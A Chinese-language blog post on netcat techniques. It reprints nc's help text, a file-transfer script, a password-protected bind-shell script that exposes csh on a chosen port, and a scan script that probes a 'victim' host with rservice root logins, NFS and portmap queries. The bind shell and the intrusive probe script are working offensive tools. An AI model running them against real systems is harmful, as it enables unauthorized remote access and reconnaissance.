Chinaunix首页 | 论坛 | 博客
  • 博客访问: 2477836
  • 博文数量: 709
  • 博客积分: 12251
  • 博客等级: 上将
  • 技术积分: 7905
  • 用 户 组: 普通用户
  • 注册时间: 2005-07-17 00:00
个人简介

实现有价值的IT服务

文章存档

2012年(7)

2011年(147)

2009年(3)

2008年(5)

2007年(74)

2006年(431)

2005年(42)

分类: IT职场

2006-07-21 09:06:47

nc使用技巧
  
  
  nc这个小玩意儿应该大家耳熟能详,也用了N年了吧……这里不多讲废话,结合一些script说说它的使用技巧。
  
  一、基本使用
  
  Quack# nc -h
  [v1.10]
  想要连接到某处: nc [-options] hostname port[s] [ports] ...
  绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
  参数:
  -e prog 程序重定向,一旦连接,就执行 [危险!!]
  -g gateway source-routing hop point[s], up to 8
  -G num source-routing pointer: 4, 8, 12, ...
  -h 帮助信息
  -i secs 延时的间隔
  -l 监听模式,用于入站连接
  -n 指定数字的IP地址,不能用hostname
  -o file 记录16进制的传输
  -p port 本地端口号
  -r 任意指定本地及远程端口
  -s addr 本地源地址
  -u UDP模式
  -v 详细输出——用两个-v可得到更详细的内容
  -w secs timeout的时间
  -z 将输入输出关掉——用于扫描时
  
  其中端口号可以指定一个或者用lo-hi式的指定范围。
  
  二、用于传输文件——ncp
  
  #! /bin/sh
  ## 类似于rcp,但是是用netcat在高端口做的
  ## 在接收文件的机器上做ncp targetfile
  ## 在发送文件的机器上做ncp sourcefile receivinghost
  ## 如果调用了 nzp ,会将传输文件压缩
  
  ## 这里定义你想使用的端口,可以自由选择
  MYPORT=23456
  
  ## 如果nc没有在系统路径中的话,要把下面一行注释去掉,加以修改
  # PATH=${HOME}:${PATH} ; export PATH
  
  ## 下面这几行检查参数输入情况
  test $3 && echo too many args && exit 1
  test ! $1 && echo no args? && exit 1
  me=`echo $0 | sed 's+.*/++'`
  test $me = nzp && echo '[compressed mode]'
  
  # if second arg, it's a host to send an [extant] file to.
  if test $2 ; then
  test ! -f $1 && echo can't find $1 && exit 1
  if test $me = nzp ; then
  compress -c 〈 $1 | nc -v -w 2 $2 $MYPORT && exit 0
  else
  nc -v -w 2 $2 $MYPORT 〈 $1 && exit 0
  fi
  echo transfer FAILED!
  exit 1
  fi
  
  # 是否在接收文件机器当前目录有同名文件
  if test -f $1 ; then
  echo -n Overwrite $1?
  read aa
  test ! $aa = y && echo [punted!] && exit 1
  fi
  # 30 seconds oughta be pleeeeenty of time, but change if you want.
  if test $me = nzp ; then
  # 注意这里nc的用法,结合了重定向符号和管道
  nc -v -w 30 -p $MYPORT -l 〈 /dev/null | uncompress -c 〉 $1 && exit 0
  else
  nc -v -w 30 -p $MYPORT -l 〈 /dev/null 〉 $1 && exit 0
  fi
  echo transfer FAILED!
  # clean up, since even if the transfer failed, $1 is already trashed
  rm -f $1
  exit 1
  
  这样的话,我只要在A机器上先 QuackA# ncp ../abcd
  listening on [any] 23456 ...
  然后在另一台机器B上
  QuackB#ncp abcd 192.168.0.2
  quackb [192.168.0.1] 23456 (?)
  A机上出现
  open connect to [192.168.0.2] from quackb [192.168.0.1] 1027
  #
  查看一下,文件传输完毕。
  
  三、用于绑定端口——bsh
  
  首先要清楚,如果你编译netcat时仅用如make freebsd之类的命令来编译的话,这个工
  具是无法利用的——要define一个GAPING_SECURITY_HOLE它才会提供-e选项。
  
  #! /bin/sh
  ## 一个利用nc的绑定shell并且带有密码保护的脚本
  ## 带有一个参数,即端口号
  
  NC=nc
  
  case $1 in
  ?* )
  LPN=$1
  export LPN
  sleep 1
  #注意这里nc的用法,参数-l是lister,-e是执行重定向
  echo -l -p $LPN -e $0 ; $NC -l -p $LPN -e $0 〉 /dev/null 2〉&1 &
  echo launched on port $LPN
  exit 0
  ;;
  esac
  
  # here we play inetd
  echo -l -p $LPN -e $0 ; $NC -l -p $LPN -e $0 〉 /dev/null 2〉&1 &
  
  while read qq ; do
  case $qq in
  # 这里就是弱密码保护了,密码是quack
  quack )
  cd /
  exec csh -i
  ;;
  esac
  done
  
  要看看它是怎么使用的么?
  quack# ./bsh 6666 〈-------输入,后面是程序输出
  -l -p 6666 -e ./bsh
  launched on port 6666
  quack#
  quack## nc localhost 6666 〈----------输入
  -l -p 6666 -e ./bsh
  quack 〈----------输入,密码验证
  Warning: imported path contains relative components
  Warning: no access to tty (Bad file descriptor).
  Thus no job control in this shell.
  Cracker#
  
  四、 用于端口扫描——probe
  
  在我们常见的一些端口扫描程序中,如Vetescan这类以shell script写成的话,很多都
  需要系统中装有netcat,原因何在呢?看看下面的script,你或许会明白一些。
  
  #! /bin/sh
  ## launch a whole buncha shit at yon victim in no particular order; capture
  ## stderr+stdout in one place. Run as root for rservice and low -p to work.
  ## Fairly thorough example of using netcat to collect a lot of host info.
  ## Will set off every intrusion alarm in existence on a paranoid machine!
  
  # 该目录里有一些小工具
  DDIR=../data
  # 指定网关
  GATE=192.157.69.11
  
  # might conceivably wanna change this for different run styles
  UCMD='nc -v -w 8'
  
  test ! $1 && echo Needs victim arg && exit 1
  
  echo '' | $UCMD -w 9 -r $1 13 79 6667 2〉&1
  echo '0' | $UCMD $1 79 2〉&1
  # if LSRR was passed thru, should get refusal here:
  # 要注意这里的用法,其实nc的这些参数掌握好可以做很多事情
  $UCMD -z -r -g $GATE $1 6473 2〉&1
  $UCMD -r -z $1 6000 4000-4004 111 53 2105 137-140 1-20 540-550 95 87 2〉&1
  # -s `hostname` may be wrong for some multihomed machines
  echo 'UDP echoecho!' | nc -u -p 7 -s `hostname` -w 3 $1 7 19 2〉&1
  echo '113,10158' | $UCMD -p 10158 $1 113 2〉&1
  rservice bin bin | $UCMD -p 1019 $1 shell 2〉&1
  echo QUIT | $UCMD -w 8 -r $1 25 158 159 119 110 109 1109 142-144 220 23 2〉&1
  # newline after any telnet trash
  echo ''
  echo PASV | $UCMD -r $1 21 2〉&1
  echo 'GET /' | $UCMD -w 10 $1 80 81 210 70 2〉&1
  # sometimes contains useful directory info:
  # 知道robots.txt是什么文件么?;)
  echo 'GET /robots.txt' | $UCMD -w 10 $1 80 2〉&1
  # now the big red lights go on
  # 利用小工具rservice来尝试,该工具可以在nc110.tgz的data目录里找到
  rservice bin bin 9600/9600 | $UCMD -p 1020 $1 login 2〉&1
  rservice root root | $UCMD -r $1 exec 2〉&1
  echo 'BEGIN big udp -- everything may look open if packet-filtered'
  data -g 〈 ${DDIR}/nfs-0.d | $UCMD -i 1 -u $1 2049 | od -x 2〉&1
  # no wait-time, uses RTT hack
  nc -v -z -u -r $1 111 66-70 88 53 87 161-164 121-123 213 49 2〉&1
  nc -v -z -u -r $1 137-140 694-712 747-770 175-180 2103 510-530 2〉&1
  echo 'END big udp'
  $UCMD -r -z $1 175-180 2000-2003 530-533 1524 1525 666 213 8000 6250 2〉&1
  # Use our identd-sniffer!
  iscan $1 21 25 79 80 111 53 6667 6000 2049 119 2〉&1
  # this gets pretty intrusive, but what the fuck. Probe for portmap first
  if nc -w 5 -z -u $1 111 ; then
  showmount -e $1 2〉&1 #象showmount和rpcinfo的使用,可能会被逮到;)
  rpcinfo -p $1 2〉&1
  fi
  exit 0
  
  感觉也没什么好说的,脚本本身说明了一切。当然象上面的脚本只是示范性的例子,真正地使用时,
  这样扫描会留下大量的痕迹,系统管理员会额外小心;)
阅读(1878) | 评论(0) | 转发(0) |
0

上一篇:Java常问问题

下一篇: 常用的几条net命令

给主人留下些什么吧!~~